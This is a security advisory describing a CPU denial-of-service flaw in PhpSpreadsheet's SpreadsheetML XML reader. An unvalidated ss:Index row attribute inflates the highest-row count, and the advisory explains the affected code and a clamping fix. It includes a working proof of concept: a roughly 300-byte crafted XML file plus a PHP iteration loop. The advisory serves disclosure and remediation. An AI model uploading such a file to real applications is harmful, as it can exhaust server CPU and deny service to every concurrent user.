PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

## Summary The SpreadsheetML XML reader (`Reader\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index="999999999"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. ## Details In `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements: ```php // Xml.php:397-402 if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW } if (isset($row_ss['Hidden'])) { $rowVisible = ((string) $row_ss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); } ``` The `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`: ```php // Worksheet.php:1342-1351 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` This inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`. The `RowIterator` constructor uses `getHighestRow()` as its default end row: ```php // RowIterator.php:84-88 public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; } ``` With `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells. Even without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability. ## PoC 1. Create `poc.xml`: ```xml <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <Worksheet ss:Name="Sheet1"> <Table> <Row ss:Index="999999999" ss:Hidden="1"/> <Row><Cell><Data ss:Type="String">test</Data></Cell></Row> </Table> </Worksheet> </Workbook> ``` 2. Load and iterate: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xml'); $spreadsheet = $reader->load('poc.xml'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Outputs: Highest row: 1000000000 // This loop will attempt ~1 billion iterations → CPU exhaustion foreach ($sheet->getRowIterator() as $row) { // Never completes } ``` ## Impact Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by: - Exhausting server CPU with a single small XML file (~300 bytes) - Blocking the PHP worker process, potentially affecting all concurrent users - Triggering PHP max_execution_time limits that still consume resources before killing the process The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file. ## Recommended Fix Add MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`: ```php // After line 398: if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; if ($rowID > AddressRange::MAX_ROW) { $rowID = AddressRange::MAX_ROW; } } ``` Add the necessary import at the top of the file: ```php use PhpOffice\PhpSpreadsheet\Cell\AddressRange; ``` The same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension.